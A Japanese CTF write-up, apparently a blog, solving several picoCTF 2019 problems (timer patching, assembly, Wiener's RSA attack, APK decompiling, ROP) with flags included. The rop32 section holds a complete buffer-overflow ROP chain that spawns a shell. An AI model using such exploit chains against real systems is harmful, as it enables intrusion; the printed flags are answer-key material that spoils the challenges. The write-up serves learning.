先程と同じく、アラームをセットしてそうな関数 sym.imp.ualarm
の呼び出しを nop
命令に書き換えてやります。
[0x55d5eee65cc3]> s 0x55d5eee65d35 [0x55d5eee65d35]> wao nop [0x55d5eee65d35]> pdf / (fcn) main 224 | main (int argc, char **argv, char **envp); | ; var int local_4h @ rbp-0x4 | ; DATA XREF from entry0 (0x55d5eee6594d) | 0x55d5eee65cc3 55 push rbp | 0x55d5eee65cc4 4889e5 mov rbp, rsp | 0x55d5eee65cc7 4883ec10 sub rsp, 0x10 | 0x55d5eee65ccb c745fc881300. mov dword [local_4h], 0x1388 | 0x55d5eee65cd2 b800000000 mov eax, 0 | 0x55d5eee65cd7 e874fdffff call sym.init_randomness | 0x55d5eee65cdc 488d3d5d0100. lea rdi, qword [0x55d5eee65e40] ; "Challenge: " | 0x55d5eee65ce3 b800000000 mov eax, 0 | 0x55d5eee65ce8 e8a3fbffff call sym.imp.printf ; int printf(const char *format) | 0x55d5eee65ced b800000000 mov eax, 0 | 0x55d5eee65cf2 e8b4ffffff call sym.generate_challenge | 0x55d5eee65cf7 bf0a000000 mov edi, 0xa | 0x55d5eee65cfc e84ffbffff call sym.imp.putchar ; int putchar(int c) | 0x55d5eee65d01 488b05181320. mov rax, qword [0x55d5ef067020] ; section..bss ; [0x55d5ef067020:8]=0 | 0x55d5eee65d08 4889c7 mov rdi, rax | 0x55d5eee65d0b e8d0fbffff call sym.imp.fflush ; int fflush(FILE *stream) | 0x55d5eee65d10 488d3d350100. lea rdi, qword [0x55d5eee65e4c] ; "Setting alarm..." | 0x55d5eee65d17 e844fbffff call sym.imp.puts ; int puts(const char *s) | 0x55d5eee65d1c 488b05fd1220. mov rax, qword [0x55d5ef067020] ; section..bss ; [0x55d5ef067020:8]=0 | 0x55d5eee65d23 4889c7 mov rdi, rax | 0x55d5eee65d26 e8b5fbffff call sym.imp.fflush ; int fflush(FILE *stream) | 0x55d5eee65d2b 8b45fc mov eax, dword [local_4h] | 0x55d5eee65d2e be00000000 mov esi, 0 | 0x55d5eee65d33 89c7 mov edi, eax | 0x55d5eee65d35 90 nop .. | 0x55d5eee65d3a 488d3d1c0100. lea rdi, qword [0x55d5eee65e5d] ; "Solution? " | 0x55d5eee65d41 b800000000 mov eax, 0 | 0x55d5eee65d46 e845fbffff call sym.imp.printf ; int printf(const char *format) | 0x55d5eee65d4b 488d351e3a20. lea rsi, qword [0x55d5ef069770] | 0x55d5eee65d52 488d3d0f0100. lea rdi, qword [0x55d5eee65e68] ; "%lld" | 0x55d5eee65d59 b800000000 mov eax, 0 | 0x55d5eee65d5e e88dfbffff call sym.imp.__isoc99_scanf ; int scanf(const char *format) | 0x55d5eee65d63 488b15063a20. mov rdx, qword [0x55d5ef069770] ; [0x55d5ef069770:8]=0 | 0x55d5eee65d6a 488b05073a20. mov rax, qword [0x55d5ef069778] ; [0x55d5ef069778:8]=0 | 0x55d5eee65d71 4839c2 cmp rdx, rax | ,=< 0x55d5eee65d74 751a jne 0x55d5eee65d90 | | 0x55d5eee65d76 488d3df00000. lea rdi, qword [0x55d5eee65e6d] ; "Congrats! Here is the flag!" | | 0x55d5eee65d7d e8defaffff call sym.imp.puts ; int puts(const char *s) | | 0x55d5eee65d82 488d3d000100. lea rdi, qword [0x55d5eee65e89] ; "/bin/cat flag.txt" | | 0x55d5eee65d89 e8f2faffff call sym.imp.system ; int system(const char *string) | ,==< 0x55d5eee65d8e eb0c jmp 0x55d5eee65d9c | |`-> 0x55d5eee65d90 488d3d040100. lea rdi, qword [0x55d5eee65e9b] ; "Nope!" | | 0x55d5eee65d97 e8c4faffff call sym.imp.puts ; int puts(const char *s) | | ; CODE XREF from main (0x55d5eee65d8e) | `--> 0x55d5eee65d9c b800000000 mov eax, 0 | 0x55d5eee65da1 c9 leave \ 0x55d5eee65da2 c3 ret
書き換わりました。実行してみます。
[0x55d5eee65d35]> dc child stopped with signal 28 [+] SIGNAL 28 errno=0 addr=0x00000000 code=128 ret=0 [0x7f5b2fa8f090]> dc Challenge: (((((-1982268561) + (-1444093994)) + ((1117194421) + (-912361492))) + (((989152480) + (-291929964)) + ((-264121727) - (-1666546368)))) + ((((1612520392) + (-572254994)) + ((1123757008) + (995405020))) + (((12448772) + (-765732374)) - ((1972963965) + (-1768083840))))) Setting alarm... Solution?
今回はこの状態で止まってくれました!ゆっくり計算して答えを入力します。計算はいけそうだったのでこのままpythonに貼り付けて説いてもらいました。
ans = (((((-1982268561) + (-1444093994)) + ((1117194421) + (-912361492))) + (((989152480) + (-291929964)) + ((-264121727) - (-1666546368)))) + ((((1612520392) + (-572254994)) + ((1123757008) + (995405020))) + (((12448772) + (-765732374)) - ((1972963965) + (-1768083840))))) print(ans)
実行結果
$ python solve.py 1079381230
よしよし。これを先程のradare2でデバッグ実行中のところに入力します。
Solution? 1079381230 Congrats! Here is the flag! localCTF{this_is_local_flag_!!!!!!!!!!}
(๑•̀ㅂ•́)و✧
と思ったら、これ、localのflag.txt
じゃん!(テストのために置いてる)
ということで、picoCTFのshell server上で解く必要があります。
shell serverにはradare2は入っていないので、他のツールで解く必要があります。今回はGDBを使ってみます。picoCTF2018のReversing問題 be-quick-or-be-dead1 のその3に、"gdbだけでやりきりたい!"という項目で載せていました。シグナルを全offにして、デバッグモードで実行してみます。
$ gdb times-up (略) (gdb) handle all ignore Signal Stop Print Pass to program Description SIGHUP Yes Yes No Hangup SIGQUIT Yes Yes No Quit ...(略) (gdb) run Starting program: /problems/time-s-up_2_af1f9d8c14e16bcbe591af8b63f7e286/times-up Challenge: (((((-1532720758) + (732229552)) + ((-1799311870) + (214811557))) + (((-619114570) + (-351527216)) + ((315887792) - (1527481484)))) - ((((111131353) - (2027506871)) - ((224267921) + (-1434791432))) - (((1877987877) + (364679728)) + ((-1569441588) - (-1322436268))))) Setting alarm... Solution? -1865712705 Congrats! Here is the flag! /bin/cat: flag.txt: Permission denied [Inferior 1 (process 2651316) exited normally]
がーーん。GDB経由ではPermissionDenied
でflag.txt
が触れないみたい…(꒪⌓꒪)
意気消沈した私はこの問題を封印したのであった…(競技期間終了)
localでは、下記のスクリプトでも間に合ってfalgが出てきましたが、picoCTFサーバに接続するいつものやり方だとsendが間に合わない様子。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * prefix = 'Challenge: ' p = process('./times-up') q = p.readline()[len(prefix):] p.recvuntil(b'Setting alarm...\n') p.sendline(str(eval(q))) p.recv() print(p.recv())
問題のディレクトリにはスクリプトを生成できないので、このスクリプトをそのまま picoCTF shell server の問題directoryで実行する事ができない。ムムム。homeディレクトリにスクリプトが置けるが、それを実行するとflag.txt
をcurrent directoryから探しに行くのでNot found
になってしまう...
と、悩んでいましたが、上記のスクリプトをpythonを立ち上げてからガッと貼り付ける方式で取れました٩(๑❛ᴗ❛๑)尸
ちなみにpython3のつもりで書いたコードでしたが、pico shellはpyton2系。でも動いてくれました。ラッキー!
$ cd /problems/time-s-up_2_af1f9d8c14e16bcbe591af8b63f7e286 $ python Python 2.7.15+ (default, Oct 7 2019, 17:39:04) [GCC 7.4.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> from pwn import * >>> >>> prefix = 'Challenge: ' >>> p = process('./times-up') [x] Starting local process './times-up' [+] Starting local process './times-up': pid 89779 >>> q = p.readline()[len(prefix):] >>> p.recvuntil(b'Setting alarm...\n') 'Setting alarm...\n' >>> p.sendline(str(eval(q))) >>> p.recv() 'Solution? Congrats! Here is the flag!\n' >>> print(p.recv()) [*] Process './times-up' stopped with exit code 0 (pid 89779) picoCTF{Gotta go fast. Gotta go FAST. #2d5896e7}
結局一番Revっぽくない解法に落ち着いてしまった…。
[Reversing] asm4 (400pt)
What will asm4("picoCTF_d7243") return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm4_1_20b49d5dfd7aa7eceb32a78d2468fea1.
またアセンブリが配布されます。このasmシリーズも長いです…。
asm4: <+0>: push ebp <+1>: mov ebp,esp <+3>: push ebx <+4>: sub esp,0x10 <+7>: mov DWORD PTR [ebp-0x10],0x244 <+14>: mov DWORD PTR [ebp-0xc],0x0 <+21>: jmp 0x518 <asm4+27> <+23>: add DWORD PTR [ebp-0xc],0x1 <+27>: mov edx,DWORD PTR [ebp-0xc] <+30>: mov eax,DWORD PTR [ebp+0x8] <+33>: add eax,edx <+35>: movzx eax,BYTE PTR [eax] <+38>: test al,al <+40>: jne 0x514 <asm4+23> <+42>: mov DWORD PTR [ebp-0x8],0x1 <+49>: jmp 0x587 <asm4+138> <+51>: mov edx,DWORD PTR [ebp-0x8] <+54>: mov eax,DWORD PTR [ebp+0x8] <+57>: add eax,edx <+59>: movzx eax,BYTE PTR [eax] <+62>: movsx edx,al <+65>: mov eax,DWORD PTR [ebp-0x8] <+68>: lea ecx,[eax-0x1] <+71>: mov eax,DWORD PTR [ebp+0x8] <+74>: add eax,ecx <+76>: movzx eax,BYTE PTR [eax] <+79>: movsx eax,al <+82>: sub edx,eax <+84>: mov eax,edx <+86>: mov edx,eax <+88>: mov eax,DWORD PTR [ebp-0x10] <+91>: lea ebx,[edx+eax*1] <+94>: mov eax,DWORD PTR [ebp-0x8] <+97>: lea edx,[eax+0x1] <+100>: mov eax,DWORD PTR [ebp+0x8] <+103>: add eax,edx <+105>: movzx eax,BYTE PTR [eax] <+108>: movsx edx,al <+111>: mov ecx,DWORD PTR [ebp-0x8] <+114>: mov eax,DWORD PTR [ebp+0x8] <+117>: add eax,ecx <+119>: movzx eax,BYTE PTR [eax] <+122>: movsx eax,al <+125>: sub edx,eax <+127>: mov eax,edx <+129>: add eax,ebx <+131>: mov DWORD PTR [ebp-0x10],eax <+134>: add DWORD PTR [ebp-0x8],0x1 <+138>: mov eax,DWORD PTR [ebp-0xc] <+141>: sub eax,0x1 <+144>: cmp DWORD PTR [ebp-0x8],eax <+147>: jl 0x530 <asm4+51> <+149>: mov eax,DWORD PTR [ebp-0x10] <+152>: add esp,0x10 <+155>: pop ebx <+156>: pop ebp <+157>: ret
今回はもう入力文字も長いし、処理も長いので、コンパイルして実行させちゃいます。
上記のアセンブラを下記のように整形。
asm4.S
.intel_syntax noprefix /* .bits 32 */ .global asm4 asm4: push ebp mov ebp,esp push ebx sub esp,0x10 mov DWORD PTR [ebp-0x10],0x244 mov DWORD PTR [ebp-0xc],0x0 jmp part_a part_b: add DWORD PTR [ebp-0xc],0x1 part_a: mov edx,DWORD PTR [ebp-0xc] mov eax,DWORD PTR [ebp+0x8] add eax,edx movzx eax,BYTE PTR [eax] test al,al jne part_b mov DWORD PTR [ebp-0x8],0x1 jmp part_c part_d: mov edx,DWORD PTR [ebp-0x8] mov eax,DWORD PTR [ebp+0x8] add eax,edx movzx eax,BYTE PTR [eax] movsx edx,al mov eax,DWORD PTR [ebp-0x8] lea ecx,[eax-0x1] mov eax,DWORD PTR [ebp+0x8] add eax,ecx movzx eax,BYTE PTR [eax] movsx eax,al sub edx,eax mov eax,edx mov edx,eax mov eax,DWORD PTR [ebp-0x10] lea ebx,[edx+eax*1] mov eax,DWORD PTR [ebp-0x8] lea edx,[eax+0x1] mov eax,DWORD PTR [ebp+0x8] add eax,edx movzx eax,BYTE PTR [eax] movsx edx,al mov ecx,DWORD PTR [ebp-0x8] mov eax,DWORD PTR [ebp+0x8] add eax,ecx movzx eax,BYTE PTR [eax] movsx eax,al sub edx,eax mov eax,edx add eax,ebx mov DWORD PTR [ebp-0x10],eax add DWORD PTR [ebp-0x8],0x1 part_c: mov eax,DWORD PTR [ebp-0xc] sub eax,0x1 cmp DWORD PTR [ebp-0x8],eax jl part_d mov eax,DWORD PTR [ebp-0x10] add esp,0x10 pop ebx pop ebp ret
アセンブリを呼び出して結果を出力するmain.c
を作成
#include <stdio.h> int main(void) { printf("0x%x\n", asm4("picoCTF_d7243")); return 0; }
$ gcc -m32 -c asm4.S -o asm4.o $ gcc -m32 -c main.c -o main.o -w $ gcc -m32 main.o asm4.o -o solve $ ./solve 0x1d2
ということで、flagはpicoCTF{0x1d2}
でした。
競技中に上記のメモまであったのに、なぜかflagを入れ忘れていたっぽい。残念。
[Crypto] b00tl3gRSA2 (400pt)
In RSA d is alot bigger than e, why dont we use d to encrypt instead of e? Connect with nc 2019shell1.picoctf.com 29290
指定されたホストにつないでみます。
$ nc 2019shell1.picoctf.com 29290 c: 69954825269289114285562364559827080418242617773351098515179285159151058602419645920485292491777044680213605010503930448503705928436621901182259703637623209648502150089300103867138351691126189673739396232780280225733519058371779682965051061167986045288444178833346183503916214932658942856994651957150303387474 n: 88365291461765191944126449837486625657884643988985542670357313402902453386235801662328508949168426082571891462053332968303334523904894060249690124664186873931172291666461981979664805699410119169698562294077288782516027216354662172661687591750376628879234706513854943850504696160076651351800932537317709413843 e: 4225656094132659590046726182014481663973182694683624375984555597673013548262248842787090453433844200112612842242933694289678355706210811981362113778439074152821548252396208860893745254982617088005214993398175452850087385374462359209020578346010957177426318438931956330870746366479519055051954823054670824193
ここからc
を復号しましょうという問題のようです。miniRSA の問題のときは e
が小さすぎることを利用した Low Public Exponent Attack
を使いましたが、今回はどう見ても e
が大きすぎます。
いつものスライド RSA暗号運用でやってはいけない n のこと #ssmjp のその7「eの値が大きすぎてはいけない」 より、Wiener's Attackが使えそうです。
e
が大きいと相対的にd
が小さくなることを利用して、e
とn
から秘密鍵が求まる
picoCTF2018のSuper Safe RSA 2でも同じ問題が出ていました。今回も下記のツールを使わせていただきます。
GitHub - orisano/owiener: A Python3 implementation of the Wiener attack on RSA
$ python solve.py Hacked d=65537 b'picoCTF{bad_1d3a5_2906536}'
出ました!ライブラリありがとう!
[Reversing] droids2 (400pt)
Find the pass, get the flag. Check out this file. You can also find the file in /problems/droids2_0_bf474794b5a228db3498ba3198db54d7.
droids0, droids1に引き続きandroidアプリの問題です。
前回と同様、AndroidStudioで Profile or debug APK
を選択してプロジェクトを作成、エミュレーターでアプリを立ち上げます。
画面上部のmessageは、
small sounds like an ikea bookcase
ボタンは
HELLO, I AM BUTTON
その下に
I'm a flag!
と書いてあります。今回もボタンを押してみましょう。
画面上にはflagは現れないようです。
今までヒントになってきていた画面上部のメッセージを再度確認してみます。イケヤの本棚みたいな小さな音?🤔
ちなみに、resources.arsc
にも、上の文言は string > hint
の value になっているので、ヒントであることに間違いはなさそう。
…けど、ヒントの意味がぜんぜんわからないので、とりあえずソースを読んでみます。
two > java > com.hellocmu > picoctf > FlagstaffHill
ここの getFlag
method を確認してみます。長いので畳んでおきます。
getFlag
.method public static getFlag(Ljava/lang/String;Landroid/content/Context;)Ljava/lang/String;
.registers 12
.param p0, "input" # Ljava/lang/String;
.param p1, "ctx" # Landroid/content/Context;
.line 11
const/4 v0, 0x6
new-array v0, v0, [Ljava/lang/String;
.line 12
.local v0, "witches":[Ljava/lang/String;
const/4 v1, 0x0
const-string v2, "weatherwax"
aput-object v2, v0, v1
.line 13
const/4 v1, 0x1
const-string v2, "ogg"
aput-object v2, v0, v1
.line 14
const/4 v1, 0x2
const-string v2, "garlick"
aput-object v2, v0, v1
.line 15
const/4 v1, 0x3
const-string v2, "nitt"
aput-object v2, v0, v1
.line 16
const/4 v1, 0x4
const-string v2, "aching"
aput-object v2, v0, v1
.line 17
const/4 v1, 0x5
const-string v2, "dismass"
aput-object v2, v0, v1
.line 19
const/4 v1, 0x3
.line 20
.local v1, "first":I
sub-int v2, v1, v1
.line 21
.local v2, "second":I
div-int v3, v1, v1
add-int/2addr v3, v2
.line 22
.local v3, "third":I
add-int v4, v3, v3
sub-int/2addr v4, v2
.line 23
.local v4, "fourth":I
add-int v5, v1, v4
.line 24
.local v5, "fifth":I
add-int v6, v5, v2
sub-int/2addr v6, v3
.line 26
.local v6, "sixth":I
aget-object v7, v0, v5
.line 27
const-string v8, ""
invoke-virtual {v8, v7}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;
move-result-object v7
const-string v8, "."
invoke-virtual {v7, v8}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;
move-result-object v7
aget-object v9, v0, v3
invoke-virtual {v7, v9}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;
move-result-object v7
invoke-virtual {v7, v8}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;
move-result-object v7
aget-object v9, v0, v2
.line 28
invoke-virtual {v7, v9}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;
move-result-object v7
invoke-virtual {v7, v8}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;
move-result-object v7
aget-object v9, v0, v6
invoke-virtual {v7, v9}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;
move-result-object v7
invoke-virtual {v7, v8}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;
move-result-object v7
aget-object v9, v0, v1
.line 29
invoke-virtual {v7, v9}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;
move-result-object v7
invoke-virtual {v7, v8}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;
move-result-object v7
aget-object v8, v0, v4
invoke-virtual {v7, v8}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;
move-result-object v7
.line 32
.local v7, "password":Ljava/lang/String;
invoke-virtual {p0, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
move-result v8
if-eqz v8, :cond_76
invoke-static {p0}, Lcom/hellocmu/picoctf/FlagstaffHill;->sesame(Ljava/lang/String;)Ljava/lang/String;
move-result-object v8
return-object v8
.line 33
:cond_76
const-string v8, "NOPE"
return-object v8
.end method
はー、全然読めない。
なんか "witches","weatherwax","ogg","garlick","nitt","aching","dismass","." の文字列がアヤシイ。が、何をどう操作したらpasswordになるかの読み方がいまいちわからない。
前に apk のデバッグ手順のときに参考にした 事前ビルド済み APK のプロファイリングやデバッグを行う | Android Developers を再度確認してみると、このときdecompile結果として出力されるのは .dex
を人間に読みやすくした .smali
という形式らしい。
これをさらに解読するためのツールを調べていると、下記のツール・記事が。
- Android .apk ファイルから .smali や .class, .java ファイルを閲覧する方法 (リバースエンジニアリング) - Qiita
- GitHub - AlexeySoshin/smali2java: Recreate Java code from Smali
上の記事では、apkをunzipして出てくる dex
ファイルを、 dex2jar
というツールにかけて jar ファイルにし、更にJavaコードを抽出する方法が紹介されています。
下のツールは、smali
ファイルを直接javaに変換してくれるようです。
今回は上のやり方を試します。dex2jarとjadをinstallし、下記の手順で解析(MacOS)。ディレクトリは適当なので読み替えつつ。
$ unzip -d two two.apk $ ./d2j-dex2jar.sh two/classes.dex $ unzip two/classes-dex2jar.jar $ ./jad -r two/com/hellocmu/picoctf/FlagstaffHill.class
これで生成されたFlagstaffHill.jad
ファイルを確認すると、
// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov. // Jad home page: http://www.kpdus.com/jad.html // Decompiler options: packimports(3) package com.hellocmu.picoctf; import android.content.Context; public class FlagstaffHill { public FlagstaffHill() { } public static String getFlag(String s, Context context) { context = new String[6]; context[0] = "weatherwax"; context[1] = "ogg"; context[2] = "garlick"; context[3] = "nitt"; context[4] = "aching"; context[5] = "dismass"; int i = 3 - 3; // 0 int j = 3 / 3 + i; // 1 int k = (j + j) - i; // 2 int l = 3 + k; // 5 if(s.equals("".concat(context[l]).concat(".").concat(context[j]).concat(".").concat(context[i]).concat(".").concat(context[(l + i) - j]).concat(".").concat(context[3]).concat(".").concat(context[k]))) return sesame(s); else return "NOPE"; } public static native String sesame(String s); }
ああ、読める!ということで、パスワードは
dismass.ogg.weatherwax.aching.nitt.garlick
これをエミュレーター入力するとflagが出てきました!
結局ヒントの使い所がよくわからなかった…。
[Binary] rop32 (400pt)
Can you exploit the following program to get a flag? You can find the program in /problems/rop32_0_b4142d4df31cb73e170c77dac234a79a on the shell server. Source.
実行ファイルvuln
とソースコードvuln.c
が配布されます。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #define BUFSIZE 16 void vuln() { char buf[16]; printf("Can you ROP your way out of this one?\n"); return gets(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); vuln(); }
とてもシンプル!
flag.txt
がpico shell server上にあるので、shellを取ってflag.txt
を表示させる問題っぽい。
ここで、radare2でこの実行ファイルの関数を見てみます。
$ r2 vuln WARNING: Cannot initialize dynamic strings [0x08048730]> aaaa [[anal.jmptbl] Missing cjmp bb in predecessor at 0x0809e6e3 [anal.jmptbl] Missing cjmp bb in predecessor at 0x0809e6c3 [anal.jmptbl] Missing cjmp bb in predecessor at 0x0809e703 [anal.jmptbl] Missing cjmp bb in predecessor at 0x0809e723 [x] Analyze all flags starting with sym. and entry0 (aa) [Invalid instruction of 1024 bytes at 0x80bb184 [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Constructing a function name for fcn.* and sym.func.* functions (aan) [x] Enable constraint types analysis for variables [0x08048730]> afl
…めっちゃ関数が出てきました。とてもシンプルなソースなはずなのにおかしい。2018年の問題と同じく、libcが静的リンクされているようです。
picoCTF2018 can-you-gets-me にもROPに関する問題が出題されていました。
問題の内容もほぼ同じなので、同じく、ROPGadgetを使ってROPを組んでもらったら解けそう!
と思い、前回同様ROPgadgetで作ったchainを投げてみたけどflag取れませんでした。
その時使用したROPgadgetのコマンドがこちら。
$ ROPgadget --binary vuln --ropchain
ここで競技期間終了。
他のwiteupを読み漁った所、下記が原因でうまく動かないそうです。
gets()
関数が使われている- ROPgadget の chain には、defaultで改行(ascii codeで
0xa
)が使われる
gets()
関数は改行が入力されるとそこで読み込みを停止してしまうため、ROPchainに入っていると途中で止まってしまうそうです。なので、改行を除いたgadgetを使ってchainを組んで貰う必要があります。
特定の文字をchainから除くときは --badbytes
オプションを使用します。
では、改行コードを除いてROPchainを組んでもらいます。
$ ROPgadget --binary ./vuln --ropchain --badbytes 0a (略) ROP chain generation =========================================================== - Step 1 -- Write-what-where gadgets [+] Gadget found: 0x8056e65 mov dword ptr [edx], eax ; ret [+] Gadget found: 0x806ee6b pop edx ; ret [+] Gadget found: 0x8056334 pop eax ; pop edx ; pop ebx ; ret [+] Gadget found: 0x8056420 xor eax, eax ; ret - Step 2 -- Init syscall number gadgets [+] Gadget found: 0x8056420 xor eax, eax ; ret [+] Gadget found: 0x807c2fa inc eax ; ret - Step 3 -- Init syscall arguments gadgets [+] Gadget found: 0x80481c9 pop ebx ; ret [+] Gadget found: 0x806ee92 pop ecx ; pop ebx ; ret [+] Gadget found: 0x806ee6b pop edx ; ret - Step 4 -- Syscall gadget [+] Gadget found: 0x8049563 int 0x80 - Step 5 -- Build the ROP chain #!/usr/bin/env python2 # execve generated by ROPgadget from struct import pack # Padding goes here p = '' p += pack('<I', 0x0806ee6b) # pop edx ; ret p += pack('<I', 0x080da060) # @ .data p += pack('<I', 0x08056334) # pop eax ; pop edx ; pop ebx ; ret p += '/bin' p += pack('<I', 0x080da060) # padding without overwrite edx p += pack('<I', 0x41414141) # padding p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ee6b) # pop edx ; ret p += pack('<I', 0x080da064) # @ .data + 4 p += pack('<I', 0x08056334) # pop eax ; pop edx ; pop ebx ; ret p += '//sh' p += pack('<I', 0x080da064) # padding without overwrite edx p += pack('<I', 0x41414141) # padding p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ee6b) # pop edx ; ret p += pack('<I', 0x080da068) # @ .data + 8 p += pack('<I', 0x08056420) # xor eax, eax ; ret p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080da060) # @ .data p += pack('<I', 0x0806ee92) # pop ecx ; pop ebx ; ret p += pack('<I', 0x080da068) # @ .data + 8 p += pack('<I', 0x080da060) # padding without overwrite ebx p += pack('<I', 0x0806ee6b) # pop edx ; ret p += pack('<I', 0x080da068) # @ .data + 8 p += pack('<I', 0x08056420) # xor eax, eax ; ret p += pack('<I', 0x0807c2fa) # inc eax ; ret p += pack('<I', 0x0807c2fa) # inc eax ; ret p += pack('<I', 0x0807c2fa) # inc eax ; ret p += pack('<I', 0x0807c2fa) # inc eax ; ret p += pack('<I', 0x0807c2fa) # inc eax ; ret p += pack('<I', 0x0807c2fa) # inc eax ; ret p += pack('<I', 0x0807c2fa) # inc eax ; ret p += pack('<I', 0x0807c2fa) # inc eax ; ret p += pack('<I', 0x0807c2fa) # inc eax ; ret p += pack('<I', 0x0807c2fa) # inc eax ; ret p += pack('<I', 0x0807c2fa) # inc eax ; ret p += pack('<I', 0x08049563) # int 0x80
上記のStep5をそのまま使って、exploitコードを組みます。
#!/usr/bin/env python2 # -*- coding:utf-8 -*- # execve generated by ROPgadget from pwn import * from struct import pack e = ELF('./vuln') # picoCTF の shell serverに接続 print('picoCTF shell server login') print 'name: ' pico_name = raw_input('>> ').strip() print 'password: ' pico_pass = raw_input('>> ').strip() pico_ssh = ssh(host='2019shell1.picoctf.com', user=pico_name, password=pico_pass) pico_ssh.set_working_directory('/problems/rop32_0_b4142d4df31cb73e170c77dac234a79a') # ここからROPgadgetの出力をそのまま + paddingを指定 # Padding goes here p = 'A' * (0x18 + 0x04) # 28 p += pack('<I', 0x0806ee6b) # pop edx ; ret p += pack('<I', 0x080da060) # @ .data p += pack('<I', 0x08056334) # pop eax ; pop edx ; pop ebx ; ret p += '/bin' p += pack('<I', 0x080da060) # padding without overwrite edx p += pack('<I', 0x41414141) # padding p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ee6b) # pop edx ; ret p += pack('<I', 0x080da064) # @ .data + 4 p += pack('<I', 0x08056334) # pop eax ; pop edx ; pop ebx ; ret p += '//sh' p += pack('<I', 0x080da064) # padding without overwrite edx p += pack('<I', 0x41414141) # padding p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ee6b) # pop edx ; ret p += pack('<I', 0x080da068) # @ .data + 8 p += pack('<I', 0x08056420) # xor eax, eax ; ret p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080da060) # @ .data p += pack('<I', 0x0806ee92) # pop ecx ; pop ebx ; ret p += pack('<I', 0x080da068) # @ .data + 8 p += pack('<I', 0x080da060) # padding without overwrite ebx p += pack('<I', 0x0806ee6b) # pop edx ; ret p += pack('<I', 0x080da068) # @ .data + 8 p += pack('<I', 0x08056420) # xor eax, eax ; ret p += pack('<I', 0x0807c2fa) # inc eax ; ret p += pack('<I', 0x0807c2fa) # inc eax ; ret p += pack('<I', 0x0807c2fa) # inc eax ; ret p += pack('<I', 0x0807c2fa) # inc eax ; ret p += pack('<I', 0x0807c2fa) # inc eax ; ret p += pack('<I', 0x0807c2fa) # inc eax ; ret p += pack('<I', 0x0807c2fa) # inc eax ; ret p += pack('<I', 0x0807c2fa) # inc eax ; ret p += pack('<I', 0x0807c2fa) # inc eax ; ret p += pack('<I', 0x0807c2fa) # inc eax ; ret p += pack('<I', 0x0807c2fa) # inc eax ; ret p += pack('<I', 0x08049563) # int 0x80 process = pico_ssh.process('./vuln') process.sendline(p) process.interactive()
実行結果
$ python solve.py [*] '/picoCTF_2019/Binary/400_rop32/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Connecting to 2019shell1.picoctf.com on port 22: Done (略) [*] kusuwada@2019shell1.picoctf.com: Distro Ubuntu 18.04 OS: linux Arch: amd64 Version: 4.15.0 ASLR: Enabled [*] Working directory: '/problems/rop32_0_b4142d4df31cb73e170c77dac234a79a' [+] Starting remote process './vuln' on 2019shell1.picoctf.com: pid 789851 [*] Switching to interactive mode Can you ROP your way out of this one? $ $ ls flag.txt vuln vuln.c $ $ cat flag.txt picoCTF{rOp_t0_b1n_sH_01a585a7}$ $
なるほどねー!
[Binary] rop64 (400pt)
Time for the classic ROP in 64-bit. Can you exploit this program to get a flag? You can find the program in /problems/rop64_6_7b4c515f14d2b9bf173a78e711d404a7 on the shell server. Source.
rop32と同様、実行ファイルvuln
と、ソースコードvuln.c
が配布されます。rop32の64bitアーキバージョンの予感です。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #define BUFSIZE 16 void vuln() { char buf[16]; printf("Can you ROP your way out of this?\n"); return gets(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); vuln(); }
ソースコードはrop32とほぼ一緒。実行ファイルの方は
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE
予想通り、64bit arch のようです。
rop32と同じくgets()
を使っているので、改行を除いて
$ ROPgadget --binary ./vuln --ropchain --badbytes 0a
で ropchain を組んでもらい、それをpythonコードに貼り付けます。
